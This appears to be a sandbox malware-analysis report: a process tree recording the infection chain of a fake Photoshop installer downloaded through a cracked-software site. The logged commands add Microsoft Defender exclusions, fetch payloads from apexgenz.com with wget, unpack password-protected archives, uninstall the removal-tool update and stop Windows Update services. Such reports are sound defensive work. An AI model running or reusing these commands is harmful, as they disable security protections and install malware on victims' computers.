PID 2752 wrote to memory of 824	2752	msedge.exe	83
PID 2752 wrote to memory of 824	2752	msedge.exe	83
PID 2752 wrote to memory of 824	2752	msedge.exe	83
PID 2752 wrote to memory of 824	2752	msedge.exe	83
PID 2752 wrote to memory of 824	2752	msedge.exe	83
PID 2752 wrote to memory of 824	2752	msedge.exe	83
PID 2752 wrote to memory of 824	2752	msedge.exe	83
PID 2752 wrote to memory of 824	2752	msedge.exe	83
PID 2752 wrote to memory of 824	2752	msedge.exe	83
PID 2752 wrote to memory of 824	2752	msedge.exe	83
PID 2752 wrote to memory of 824	2752	msedge.exe	83
PID 2752 wrote to memory of 824	2752	msedge.exe	83
PID 2752 wrote to memory of 824	2752	msedge.exe	83
PID 2752 wrote to memory of 824	2752	msedge.exe	83
PID 2752 wrote to memory of 824	2752	msedge.exe	83
PID 2752 wrote to memory of 824	2752	msedge.exe	83
PID 2752 wrote to memory of 824	2752	msedge.exe	83
PID 2752 wrote to memory of 824	2752	msedge.exe	83
PID 2752 wrote to memory of 824	2752	msedge.exe	83
PID 2752 wrote to memory of 824	2752	msedge.exe	83
PID 2752 wrote to memory of 824	2752	msedge.exe	83
PID 2752 wrote to memory of 824	2752	msedge.exe	83
PID 2752 wrote to memory of 824	2752	msedge.exe	83
PID 2752 wrote to memory of 824	2752	msedge.exe	83
PID 2752 wrote to memory of 824	2752	msedge.exe	83
PID 2752 wrote to memory of 824	2752	msedge.exe	83
PID 2752 wrote to memory of 824	2752	msedge.exe	83
PID 2752 wrote to memory of 824	2752	msedge.exe	83
PID 2752 wrote to memory of 824	2752	msedge.exe	83
PID 2752 wrote to memory of 824	2752	msedge.exe	83
PID 2752 wrote to memory of 1344	2752	msedge.exe	84
PID 2752 wrote to memory of 1344	2752	msedge.exe	84
PID 2752 wrote to memory of 4080	2752	msedge.exe	85
PID 2752 wrote to memory of 4080	2752	msedge.exe	85
PID 2752 wrote to memory of 4080	2752	msedge.exe	85
PID 2752 wrote to memory of 4080	2752	msedge.exe	85
PID 2752 wrote to memory of 4080	2752	msedge.exe	85
PID 2752 wrote to memory of 4080	2752	msedge.exe	85
PID 2752 wrote to memory of 4080	2752	msedge.exe	85
PID 2752 wrote to memory of 4080	2752	msedge.exe	85
PID 2752 wrote to memory of 4080	2752	msedge.exe	85
PID 2752 wrote to memory of 4080	2752	msedge.exe	85
PID 2752 wrote to memory of 4080	2752	msedge.exe	85
PID 2752 wrote to memory of 4080	2752	msedge.exe	85
PID 2752 wrote to memory of 4080	2752	msedge.exe	85
PID 2752 wrote to memory of 4080	2752	msedge.exe	85
PID 2752 wrote to memory of 4080	2752	msedge.exe	85
PID 2752 wrote to memory of 4080	2752	msedge.exe	85
PID 2752 wrote to memory of 4080	2752	msedge.exe	85
PID 2752 wrote to memory of 4080	2752	msedge.exe	85
PID 2752 wrote to memory of 4080	2752	msedge.exe	85
PID 2752 wrote to memory of 4080	2752	msedge.exe	85

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2936
- C:\Windows\SysWOW64\openwith.exe
  "C:\Windows\system32\openwith.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5128
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --default-search-provider=? --out-pipe-name=MSEdgeDefault42fd39d4he8a4h4e65ha4b0h12d358dd4880
  2⤵
  PID:2988
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x120,0x124,0x128,0xfc,0x12c,0x7ffcb91746f8,0x7ffcb9174708,0x7ffcb9174718
    3⤵
    PID:2128
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2100,15517713839130521767,2232870567379266184,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2112 /prefetch:2
    3⤵
    PID:2732
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2100,15517713839130521767,2232870567379266184,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2220 /prefetch:3
    3⤵
    PID:6140
- C:\Windows\system32\rundll32.exe
  "C:\Windows\system32\rundll32.exe" display.dll,ShowAdapterSettings 0
  2⤵
  - Checks computer location settings
  PID:5008
- - C:\Windows\System32\DeviceProperties.exe
    "C:\Windows\System32\DeviceProperties.exe" 199414 "PCI\VEN_1234&DEV_1111&SUBSYS_11001AF4&REV_02\3&11583659&0&08"
    3⤵
    - Drops file in Windows directory
    - Checks SCSI registry key(s)
    - Suspicious use of AdjustPrivilegeToken
    PID:5716
- C:\Windows\system32\rundll32.exe
  "C:\Windows\system32\rundll32.exe" display.dll,ShowAdapterSettings 0
  2⤵
  - Checks computer location settings
  PID:5628
- - C:\Windows\System32\DeviceProperties.exe
    "C:\Windows\System32\DeviceProperties.exe" 199192 "ROOT\BASICDISPLAY\0000"
    3⤵
    - Drops file in System32 directory
    PID:5904

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.soft-got.org/adobephotoshop
1⤵
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2752
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffcb91746f8,0x7ffcb9174708,0x7ffcb9174718
  2⤵
  PID:3392
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2004,10936373649473345000,1508763819566153842,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2032 /prefetch:2
  2⤵
  PID:824
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2004,10936373649473345000,1508763819566153842,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2116 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1344
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2004,10936373649473345000,1508763819566153842,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2708 /prefetch:8
  2⤵
  PID:4080
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2004,10936373649473345000,1508763819566153842,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3328 /prefetch:1
  2⤵
  PID:2600
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2004,10936373649473345000,1508763819566153842,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3356 /prefetch:1
  2⤵
  PID:4652
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2004,10936373649473345000,1508763819566153842,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5240 /prefetch:8
  2⤵
  PID:4288
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2004,10936373649473345000,1508763819566153842,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5240 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:948
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2004,10936373649473345000,1508763819566153842,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4828 /prefetch:1
  2⤵
  PID:4644
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2004,10936373649473345000,1508763819566153842,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5344 /prefetch:1
  2⤵
  PID:4664
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2004,10936373649473345000,1508763819566153842,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5720 /prefetch:1
  2⤵
  PID:3484
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2004,10936373649473345000,1508763819566153842,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5684 /prefetch:1
  2⤵
  PID:4276
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2004,10936373649473345000,1508763819566153842,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5932 /prefetch:8
  2⤵
  PID:1436
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2004,10936373649473345000,1508763819566153842,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5964 /prefetch:1
  2⤵
  PID:2984
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2004,10936373649473345000,1508763819566153842,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5728 /prefetch:1
  2⤵
  PID:4348
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2004,10936373649473345000,1508763819566153842,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6380 /prefetch:1
  2⤵
  PID:1064
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2004,10936373649473345000,1508763819566153842,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=180 /prefetch:1
  2⤵
  PID:4664
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2004,10936373649473345000,1508763819566153842,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6468 /prefetch:1
  2⤵
  PID:3612
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2004,10936373649473345000,1508763819566153842,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5244 /prefetch:1
  2⤵
  PID:4388
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2004,10936373649473345000,1508763819566153842,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1848 /prefetch:1
  2⤵
  PID:4044
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2004,10936373649473345000,1508763819566153842,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=6112 /prefetch:8
  2⤵
  PID:2580
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=2004,10936373649473345000,1508763819566153842,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=6760 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3328
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2004,10936373649473345000,1508763819566153842,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5504 /prefetch:1
  2⤵
  PID:3484
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2004,10936373649473345000,1508763819566153842,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5616 /prefetch:1
  2⤵
  PID:1464
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2004,10936373649473345000,1508763819566153842,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5688 /prefetch:1
  2⤵
  PID:3472
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2004,10936373649473345000,1508763819566153842,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3488 /prefetch:1
  2⤵
  PID:2788
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2004,10936373649473345000,1508763819566153842,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6036 /prefetch:1
  2⤵
  PID:3788
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2004,10936373649473345000,1508763819566153842,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7040 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1388
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2004,10936373649473345000,1508763819566153842,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6388 /prefetch:8
  2⤵
  PID:3328
- C:\Users\Admin\Downloads\7z2407-x64.exe
  "C:\Users\Admin\Downloads\7z2407-x64.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious use of SetWindowsHookEx
  PID:2220
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2004,10936373649473345000,1508763819566153842,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6932 /prefetch:1
  2⤵
  PID:5756
- C:\Users\Admin\Downloads\7z2407-x64.exe
  "C:\Users\Admin\Downloads\7z2407-x64.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious use of SetWindowsHookEx
  PID:5880
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2004,10936373649473345000,1508763819566153842,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5476 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5544
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2004,10936373649473345000,1508763819566153842,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=4884 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3168

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4680

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1708

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4916

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\Adobe_Photoshop (1)\" -spe -an -ai#7zMap32300:100:7zEvent25525
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:2732

C:\Users\Admin\Downloads\Adobe_Photoshop (1)\Photoshoр.exe
"C:\Users\Admin\Downloads\Adobe_Photoshop (1)\Photoshoр.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
PID:5180
- C:\Users\Admin\Downloads\Adobe_Photoshop (1)\App\AfterFX\Photoshop64.exe
  "C:\Users\Admin\Downloads\Adobe_Photoshop (1)\App\AfterFX\Photoshop64.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Modifies system certificate store
  PID:5332
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /K >nul timeout /t 15 /nobreak & .\app\AfterFX\AfterFX64.exe & EXIT
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4956
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 15 /nobreak
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:1768
  - - C:\Users\Admin\Downloads\Adobe_Photoshop (1)\app\AfterFX\AfterFX64.exe
      .\app\AfterFX\AfterFX64.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Drops file in Windows directory
      Modifies registry class
      Suspicious behavior: AddClipboardFormatListener
      Suspicious use of SetWindowsHookEx
      PID:5640
- - C:\Users\Admin\AppData\Roaming\services\Launhcer.exe
    "C:\Users\Admin\AppData\Roaming\services\Launhcer.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3076
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "$AdminRightsRequired = $true function Get-Win { while ($true) { # if ($AdminRightsRequired) { # try { Start-Process -FilePath '.\data\Launcher.exe' -Verb RunAs -Wait # break } catch { Write-Host 'Error 0xc0000906' } } else { # break } } } Get-Win"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3496
    - - C:\Users\Admin\AppData\Roaming\services\data\Launcher.exe
        
        "C:\Users\Admin\AppData\Roaming\services\data\Launcher.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:756
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath $env:ProgramData, $env:AppData, $env:SystemDrive\ "
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5520
      - C:\Users\Admin\AppData\Roaming\services\wget.exe
        
        "C:\Users\Admin\AppData\Roaming\services\wget.exe" ping --content-disposition http://apexgenz.com/1/1 -P C:\Users\Admin\AppData\Roaming\services
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:5436
      - C:\Users\Admin\AppData\Roaming\services\winrar.exe
        
        "C:\Users\Admin\AppData\Roaming\services\winrar.exe" x -y -pjryj2023 C:\Users\Admin\AppData\Roaming\services\01plugins*.* "plugin*" C:\Users\Admin\AppData\Roaming\services
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:5348
      - C:\Users\Admin\AppData\Roaming\services\plugin32274
        
        C:\Users\Admin\AppData\Roaming\services\plugin32274
        6⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:5220
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5220 -s 580
        7⤵
        Program crash
        
        PID:4664
      - C:\Users\Admin\AppData\Roaming\services\wget.exe
        
        "C:\Users\Admin\AppData\Roaming\services\wget.exe" ping --content-disposition http://apexgenz.com/2/1 -P C:\Users\Admin\AppData\Roaming\services
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:3460
      - C:\Users\Admin\AppData\Roaming\services\winrar.exe
        
        "C:\Users\Admin\AppData\Roaming\services\winrar.exe" x -y -pjryj2023 C:\Users\Admin\AppData\Roaming\services\02plugins*.* "2plugin*" C:\Users\Admin\AppData\Roaming\services
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1540
      - C:\Users\Admin\AppData\Roaming\services\2plugin28438
        
        C:\Users\Admin\AppData\Roaming\services\2plugin28438
        6⤵
        Executes dropped EXE
        Drops file in System32 directory
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:3692
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:4204
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        7⤵
        
        PID:1848
        
        C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        8⤵
        
        PID:3328
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop UsoSvc
        7⤵
        Launches sc.exe
        
        PID:712
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        7⤵
        Launches sc.exe
        
        PID:4472
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop wuauserv
        7⤵
        Launches sc.exe
        
        PID:408
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop bits
        7⤵
        Launches sc.exe
        
        PID:3972
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop dosvc
        7⤵
        Launches sc.exe
        
        PID:5188
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        7⤵
